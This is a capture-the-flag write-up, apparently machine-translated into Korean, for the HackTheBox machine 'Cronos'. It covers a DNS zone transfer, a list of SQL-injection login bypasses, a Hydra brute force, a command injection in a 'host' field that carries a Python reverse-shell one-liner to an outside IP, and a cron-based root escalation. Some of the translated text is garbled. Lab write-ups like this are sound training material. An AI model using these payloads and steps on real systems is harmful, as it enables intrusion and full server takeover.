【HackTheBox】Cronos - Writeup -
6799 단어 HackTheBox취약성
【HackTheBox】Cronos
Enumeration(포트 열거)
#nmap -T5 --min-rate 10000 10.10.10.13
PORT STATE SERVICE
22/tcp open ssh
53/tcp open domain
80/tcp open http
#nmap -sV -Pn -p22,53,80 -A 10.10.10.13
22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.1 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 18:b9:73:82:6f:26:c7:78:8f:1b:39:88:d8:02:ce:e8 (RSA)
| 256 1a:e6:06:a6:05:0b:bb:41:92:b0:28:bf:7f:e5:96:3b (ECDSA)
|_ 256 1a:0e:e7:ba:00:cc:02:01:04:cd:a3:a9:3f:5e:22:20 (ED25519)
53/tcp open domain ISC BIND 9.10.3-P4 (Ubuntu Linux)
| dns-nsid:
|_ bind.version: 9.10.3-P4-Ubuntu
80/tcp open http Apache httpd 2.4.18 ((Ubuntu))
|_http-server-header: Apache/2.4.18 (Ubuntu)
|_http-title: Apache2 Ubuntu Default Page: It works
DNS 서비스가 있으므로 자세히 알아보겠습니다.
DNS Zone Transfer란?
인터넷의 도메인명을 IP 해결하기 위해서는 DNS 서버가 사용된다.
DNS 서버에는 마스터와 슬레이브(프라이머리와 세컨더리)가 각각 있다.
보안 홀이 되는 것은 DNS 존 전송의 상대의 DNS를 지정하지 않을 때.
마스터 DNS에 있는 정보가 그대로 받아들여 버리기 때문이다.
dig 명령은 axfr 옵션으로 영역 전송 프로토콜을 지정하여 사용할 수 있습니다.
#dig axfr cronos.htb @10.10.10.13 #domain@IPADDR
; <<>> DiG 9.16.4-Debian <<>> axfr cronos.htb @10.10.10.13
;; global options: +cmd
cronos.htb. 604800 IN SOA cronos.htb. admin.cronos.htb. 3 604800 86400 2419200 604800
cronos.htb. 604800 IN NS ns1.cronos.htb.
cronos.htb. 604800 IN A 10.10.10.13
admin.cronos.htb. 604800 IN A 10.10.10.13
ns1.cronos.htb. 604800 IN A 10.10.10.13
www.cronos.htb. 604800 IN A 10.10.10.13
cronos.htb. 604800 IN SOA cronos.htb. admin.cronos.htb. 3 604800 86400 2419200 604800
;; Query time: 167 msec
;; SERVER: 10.10.10.13#53(10.10.10.13)
;; WHEN: Sun Jul 12 16:04:02 JST 2020
;; XFR size: 7 records (messages 1, bytes 203)
admin.cronos.htb가 있으므로 거기에 액세스 해 본다.
사용자 이름과 암호가 필요합니다.
유저 네임은 SQL 인젝션으로 고정의 것을 사용해, 패스워드는 블루와 포스 한다.
# SQLインジェクション一覧
admin' --
admin' #
admin'/*
' or 1=1--
' or 1=1#
' or 1=1/*
') or '1'='1--
') or ('1'='1--
그건 그렇고, 사용자 이름은 URL로 인코딩됩니다.
Hydra의 무차별 비밀번호
hydra -l(固定ユーザーネーム) -L(ユーザーネームリスト) -P(パスワードリスト) http-[get|post\|etc]-form :/入力変数=^入力値^ :失敗メッセージ
hydra -l admin' # -P /usr/share/wordlists/rockyou.txt admin.cronos.htb http-post-form "/:password=^PASS^:Login Failed"
로그인 성공.
Nettool
BurpSuite에서 요청을 가로채고 다시 씁니다.
➜ nc -nvlp 4444
listening on [any] 4444 ...
connect to [10.10.14.32] from (UNKNOWN) [10.10.10.13] 60420
곧 끊어 버린다.
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.0.1",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
host=上記のPythonコード&host=;
그렇다면 잘 갔다.리버스 쉘은 여기를 참조 : h tp : /// 펜 st 몬케 y. 네 t / 치아 t-shi t / shi 〇 ls / r r r- sh l 치 ぇ t t t t
언제나 신세를지고 있습니다
사용자 정보 및 OS 확인
$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
$ uname -a
Linux cronos 4.4.0-72-generic #93-Ubuntu SMP Fri Mar 31 14:07:41 UTC 2017 x86_64 x86_64 x86_64 GNU/Linux
$ whoami
www-data
ps -ef
를 실행하면 cron이 서비스로 시작되었습니다 (HTB 이름 Cronos에서 발견)cat /etc/crontab
# /etc/crontab: system-wide crontab
# Unlike any other crontab you don't have to run the `crontab'
# command to install the new version when you edit this file
# and files in /etc/cron.d. These files also have username fields,
# that none of the other crontabs do.
SHELL=/bin/sh
PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin
# m h dom mon dow user command
17 * * * * root cd / && run-parts --report /etc/cron.hourly
25 6 * * * root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.daily )
47 6 * * 7 root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.weekly )
52 6 1 * * root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.monthly )
* * * * * root php /var/www/laravel/artisan schedule:run >> /dev/null 2>&1
#
php /var/www/laravel/artisan
root로 때때로 실행하기 때문에또 방금 전의 리버스 쉘(PHP)로 재기록하면, root를 취할 수 있습니다.
배운 것
깨달았다면, 이런 일까지 하고 있었습니다.
SessionID secure 속성/httponly 속성 확인
➜ ~ curl -I http://cronos.htb
HTTP/1.1 200 OK
Date: Sun, 12 Jul 2020 06:32:25 GMT
Server: Apache/2.4.18 (Ubuntu)
Cache-Control: no-cache, private
Set-Cookie: XSRF-TOKEN=eyJpdiI6IlBZRzdWUHduNnhiQzBXVUI2VjRHOEE9PSIsInZhbHVlIjoiNE1aZVlRK3dtTXlMQ0ZYcHZ0WmpPZHhvaG80NFpMUjk3OGdoM1wveWU4Q0JjazAwNStNXC9pTUtWdlhoa1JrTVg3a1RcL21od3A3ejlUY05vRlRBbzVMSGc9PSIsIm1hYyI6IjVhM2E1ZDNlZjYyODk3Y2NkY2ZjMmIwZGQ1YTZlZjMzMjdmZTU0NTE4MDliMzU1MTQ3Zjk1NDA1OWUwN2JiYjIifQ%3D%3D; expires=Sun, 12-Jul-2020 08:32:25 GMT; Max-Age=7200; path=/
Set-Cookie: laravel_session=eyJpdiI6IjNhenpaQnZ5QWRYZURpQmx4TWRvNWc9PSIsInZhbHVlIjoieDdOaGhCcmlBVFRIUUxrRG9uXC9xQ0RzSWF4MjNDVDBUNWI4cmVtaUtSUHpvam1JSnJHVG9WWkJjOEx2OUM4TFUzU1lpODFSd2pRWFdcL1Ardmo0XC9kOEE9PSIsIm1hYyI6ImM5YjBkYzJkNTMyZjZkMDFhN2FhMGU1Yjg3NzVjNmJmMzk5NjE5MGY1NjEzYTM4MDRiZmU3M2I4M2EwYjc2NjcifQ%3D%3D; expires=Sun, 12-Jul-2020 08:32:25 GMT; Max-Age=7200; path=/; HttpOnly
읽어 주신 분, 감사합니다
질문이나 개선점이 있으면, 꼭 코멘트를 부탁합니다~
Reference
이 문제에 관하여(【HackTheBox】Cronos - Writeup -), 우리는 이곳에서 더 많은 자료를 발견하고 링크를 클릭하여 보았다 https://qiita.com/mr-wacker/items/9d9a305c4884f19bea01텍스트를 자유롭게 공유하거나 복사할 수 있습니다.하지만 이 문서의 URL은 참조 URL로 남겨 두십시오.
우수한 개발자 콘텐츠 발견에 전념 (Collection and Share based on the CC Protocol.)